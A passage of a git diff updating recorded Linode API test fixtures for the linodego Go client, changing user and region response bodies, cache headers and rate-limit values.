"add_domains": false, "add_linodes": false, "add_vpcs": + false, "add_images": false, "add_stackscripts": false, "longview_subscription": + false, "account_access": null, "cancel_account": false}}' headers: Access-Control-Allow-Credentials: - "true" @@ -127,17 +104,22 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 13 Feb 2024 19:39:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: @@ -148,7 +130,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -180,15 +162,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 13 Feb 2024 19:39:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -203,7 +189,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestUser_Get.yaml b/test/integration/fixtures/TestUser_Get.yaml index 1f8f277b5..c1e68c9a5 100644 --- a/test/integration/fixtures/TestUser_Get.yaml +++ b/test/integration/fixtures/TestUser_Get.yaml @@ -16,7 +16,7 @@ interactions: response: body: '{"username": "linodegotest-getuser", "email": "linodegotest-getuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null, "password_created": null}' + null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" @@ -31,7 +31,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "196" + - "240" Content-Security-Policy: - default-src 'none' Content-Type: @@ -52,7 +52,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -73,7 +73,7 @@ interactions: response: body: '{"username": "linodegotest-getuser", "email": "linodegotest-getuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null, "password_created": null}' + null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" @@ -89,7 +89,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "196" + - "240" Content-Security-Policy: - default-src 'none' Content-Type: @@ -111,7 +111,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -166,7 +166,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestUser_GetMissing.yaml b/test/integration/fixtures/TestUser_GetMissing.yaml index 17859b4ef..193b11514 100644 --- a/test/integration/fixtures/TestUser_GetMissing.yaml +++ b/test/integration/fixtures/TestUser_GetMissing.yaml @@ -39,7 +39,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" status: 404 Not Found code: 404 duration: "" diff --git a/test/integration/fixtures/TestUser_Update.yaml b/test/integration/fixtures/TestUser_Update.yaml index a4f968c55..3bfffc8c7 100644 --- a/test/integration/fixtures/TestUser_Update.yaml +++ b/test/integration/fixtures/TestUser_Update.yaml @@ -16,7 +16,7 @@ interactions: response: body: '{"username": "linodegotest-updateuser", "email": "linodegotest-updateuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null}' + null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" @@ -31,7 +31,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "177" + - "247" Content-Security-Policy: - default-src 'none' Content-Type: @@ -52,7 +52,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -73,7 +73,7 @@ interactions: response: body: '{"username": "linodegotest-updateuser-updated", "email": "linodegotest-updateuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null}' + null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" @@ -88,7 +88,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "184" + - "254" Content-Security-Policy: - default-src 'none' Content-Type: @@ -109,7 +109,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -164,7 +164,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestUsers_List.yaml b/test/integration/fixtures/TestUsers_List.yaml index 1265acb81..45ea0bc1c 100644 --- a/test/integration/fixtures/TestUsers_List.yaml +++ b/test/integration/fixtures/TestUsers_List.yaml @@ -16,7 +16,7 @@ interactions: response: body: '{"username": "linodegotest-listuser", "email": "linodegotest-listuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null, "password_created": null}' + null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" @@ -31,7 +31,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "199" + - "243" Content-Security-Policy: - default-src 'none' Content-Type: @@ -52,7 +52,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -68,14 +68,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/users + url: https://api.linode.com/v4beta/account/users?page=1 method: GET response: - body: '{"data": [{"username": "ychen123", "email": "yechen@akamai.com", "restricted": - false, "ssh_keys": [], "tfa_enabled": true, "verified_phone_number": null, "password_created": - null}, {"username": "linodegotest-listuser", "email": "linodegotest-listuser@example.com", - "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null, "password_created": null}], "page": 1, "pages": 1, "results": 2}' + body: '{"data": [{"username": "ErikZilber", "email": "ezilber@akamai.com", "restricted": + false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": "+11234567890", + "password_created": "2018-01-02T03:04:05", "last_login": {"login_datetime": + "2018-01-02T03:04:05", "status": "successful"}, "user_type": "default"}, {"username": + "linodegotest-listuser", "email": "linodegotest-listuser@example.com", "restricted": + false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, + "password_created": null, "last_login": null, "user_type": "default"}], "page": + 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" @@ -90,8 +93,6 @@ interactions: Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 - Content-Length: - - "419" Content-Security-Policy: - default-src 'none' Content-Type: @@ -101,6 +102,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -113,7 +115,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -168,7 +170,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVLANs_GetIPAMAddress.yaml b/test/integration/fixtures/TestVLANs_GetIPAMAddress.yaml index 3e5e804f6..613f4713d 100644 --- a/test/integration/fixtures/TestVLANs_GetIPAMAddress.yaml +++ b/test/integration/fixtures/TestVLANs_GetIPAMAddress.yaml @@ -15,73 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 14}' + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 